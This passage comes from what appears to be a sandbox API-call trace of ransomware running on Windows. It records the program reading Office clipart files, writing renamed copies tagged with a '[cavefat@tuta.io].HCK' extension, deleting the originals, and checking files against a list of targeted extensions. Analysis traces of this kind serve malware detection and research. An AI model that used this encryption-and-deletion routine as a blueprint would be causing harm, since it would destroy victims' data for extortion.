lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1126, lpOverlapped=0x0) returned 1 [0154.329] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1130, lpOverlapped=0x0) returned 1 [0154.330] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.330] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.330] SetEndOfFile (hFile=0x30c) returned 1 [0154.330] CloseHandle (hObject=0x30c) returned 1 [0154.331] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.331] SetEndOfFile (hFile=0x380) returned 1 [0154.332] CloseHandle (hObject=0x380) returned 1 [0154.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0154.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.332] lstrlenW (lpString=".doc") returned 4 [0154.332] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.332] lstrlenW (lpString=".docx") returned 5 [0154.332] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.332] lstrlenW (lpString=".pdf") returned 4 [0154.332] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.332] lstrlenW (lpString=".xls") returned 4 [0154.332] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.332] lstrlenW (lpString=".xlsx") returned 5 [0154.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.333] lstrlenW (lpString=".ppt") returned 4 [0154.333] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.333] lstrlenW (lpString=".zip") returned 4 [0154.333] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.333] lstrlenW (lpString=".rar") returned 4 [0154.333] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.333] lstrlenW (lpString=".bz2") returned 4 [0154.333] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.333] lstrlenW (lpString=".7z") returned 3 [0154.333] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.333] lstrlenW (lpString=".dbf") returned 4 [0154.333] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.333] lstrlenW (lpString=".1cd") returned 4 [0154.333] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.333] lstrlenW (lpString=".jpg") returned 4 [0154.333] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.333] lstrlenW (lpString=".doc") returned 4 [0154.333] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.333] lstrlenW (lpString=".docx") returned 5 [0154.333] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.333] lstrlenW (lpString=".pdf") returned 4 [0154.333] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.333] lstrlenW (lpString=".xls") returned 4 [0154.333] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.333] lstrlenW (lpString=".xlsx") returned 5 [0154.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.333] lstrlenW (lpString=".ppt") returned 4 [0154.333] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.333] lstrlenW (lpString=".zip") returned 4 [0154.333] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.333] lstrlenW (lpString=".rar") returned 4 [0154.333] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.333] lstrlenW (lpString=".bz2") returned 4 [0154.333] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.333] lstrlenW (lpString=".7z") returned 3 [0154.333] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.333] lstrlenW (lpString=".dbf") returned 4 [0154.333] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.333] lstrlenW (lpString=".1cd") returned 4 [0154.333] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0154.334] lstrlenW (lpString=".jpg") returned 4 [0154.334] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.334] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0154.334] lstrlenW (lpString="AG00174_.GIF") returned 12 [0154.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.335] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3966) returned 1 [0154.335] CloseHandle (hObject=0x38c) returned 1 [0154.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0154.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.335] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.336] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0154.345] GetLastError () returned 0x0 [0154.345] ReadFile (in: hFile=0x38c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xf7e, lpOverlapped=0x0) returned 1 [0154.347] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xf80, lpOverlapped=0x0) returned 1 [0154.348] ReadFile (in: hFile=0x38c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.348] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.348] SetEndOfFile (hFile=0x30c) returned 1 [0154.348] CloseHandle (hObject=0x30c) returned 1 [0154.349] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.349] SetEndOfFile (hFile=0x38c) returned 1 [0154.350] CloseHandle (hObject=0x38c) returned 1 [0154.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0154.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.350] lstrlenW (lpString=".doc") returned 4 [0154.350] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.350] lstrlenW (lpString=".docx") returned 5 [0154.350] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.350] lstrlenW (lpString=".pdf") returned 4 [0154.350] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.350] lstrlenW (lpString=".xls") returned 4 [0154.351] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.351] lstrlenW (lpString=".xlsx") returned 5 [0154.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.351] lstrlenW (lpString=".ppt") returned 4 [0154.351] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.351] lstrlenW (lpString=".zip") returned 4 [0154.351] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.351] lstrlenW (lpString=".rar") returned 4 [0154.351] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.351] lstrlenW (lpString=".bz2") returned 4 [0154.351] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.351] lstrlenW (lpString=".7z") returned 3 [0154.351] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.351] lstrlenW (lpString=".dbf") returned 4 [0154.351] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.351] lstrlenW (lpString=".1cd") returned 4 [0154.351] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.351] lstrlenW (lpString=".jpg") returned 4 [0154.351] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.351] lstrlenW (lpString=".doc") returned 4 [0154.351] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.351] lstrlenW (lpString=".docx") returned 5 [0154.351] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.351] lstrlenW (lpString=".pdf") returned 4 [0154.351] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.351] lstrlenW (lpString=".xls") returned 4 [0154.351] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.351] lstrlenW (lpString=".xlsx") returned 5 [0154.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.352] lstrlenW (lpString=".ppt") returned 4 [0154.352] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.352] lstrlenW (lpString=".zip") returned 4 [0154.352] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.352] lstrlenW (lpString=".rar") returned 4 [0154.352] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.352] lstrlenW (lpString=".bz2") returned 4 [0154.352] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.352] lstrlenW (lpString=".7z") returned 3 [0154.352] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.352] lstrlenW (lpString=".dbf") returned 4 [0154.352] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.352] lstrlenW (lpString=".1cd") returned 4 [0154.352] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0154.352] lstrlenW (lpString=".jpg") returned 4 [0154.352] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.352] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0154.352] lstrlenW (lpString="AG00175_.GIF") returned 12 [0154.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.679] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3378) returned 1 [0154.679] CloseHandle (hObject=0x364) returned 1 [0154.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0154.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.683] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.683] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0154.683] GetLastError () returned 0x0 [0154.683] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd32, lpOverlapped=0x0) returned 1 [0154.685] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xd40, lpOverlapped=0x0) returned 1 [0154.685] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.685] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.685] SetEndOfFile (hFile=0x394) returned 1 [0154.685] CloseHandle (hObject=0x394) returned 1 [0154.686] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.686] SetEndOfFile (hFile=0x364) returned 1 [0154.687] CloseHandle (hObject=0x364) returned 1 [0154.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0154.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.687] lstrlenW (lpString=".doc") returned 4 [0154.688] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.688] lstrlenW (lpString=".docx") returned 5 [0154.688] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.688] lstrlenW (lpString=".pdf") returned 4 [0154.688] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.688] lstrlenW (lpString=".xls") returned 4 [0154.688] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.688] lstrlenW (lpString=".xlsx") returned 5 [0154.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.688] lstrlenW (lpString=".ppt") returned 4 [0154.688] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.688] lstrlenW (lpString=".zip") returned 4 [0154.688] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.688] lstrlenW (lpString=".rar") returned 4 [0154.688] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.688] lstrlenW (lpString=".bz2") returned 4 [0154.688] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.688] lstrlenW (lpString=".7z") returned 3 [0154.688] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.688] lstrlenW (lpString=".dbf") returned 4 [0154.688] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.688] lstrlenW (lpString=".1cd") returned 4 [0154.688] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.688] lstrlenW (lpString=".jpg") returned 4 [0154.688] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.688] lstrlenW (lpString=".doc") returned 4 [0154.688] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.688] lstrlenW (lpString=".docx") returned 5 [0154.688] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.688] lstrlenW (lpString=".pdf") returned 4 [0154.688] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.688] lstrlenW (lpString=".xls") returned 4 [0154.688] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.688] lstrlenW (lpString=".xlsx") returned 5 [0154.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.688] lstrlenW (lpString=".ppt") returned 4 [0154.688] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.688] lstrlenW (lpString=".zip") returned 4 [0154.688] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.688] lstrlenW (lpString=".rar") returned 4 [0154.688] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.688] lstrlenW (lpString=".bz2") returned 4 [0154.688] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.688] lstrlenW (lpString=".7z") returned 3 [0154.688] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.689] lstrlenW (lpString=".dbf") returned 4 [0154.689] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.689] lstrlenW (lpString=".1cd") returned 4 [0154.689] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0154.689] lstrlenW (lpString=".jpg") returned 4 [0154.689] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.689] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0154.689] lstrlenW (lpString="AN01251_.WMF") returned 12 [0154.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.689] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2756) returned 1 [0154.689] CloseHandle (hObject=0x364) returned 1 [0154.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0154.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.689] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.689] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0154.690] GetLastError () returned 0x0 [0154.690] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xac4, lpOverlapped=0x0) returned 1 [0154.691] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xad0, lpOverlapped=0x0) returned 1 [0154.691] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, 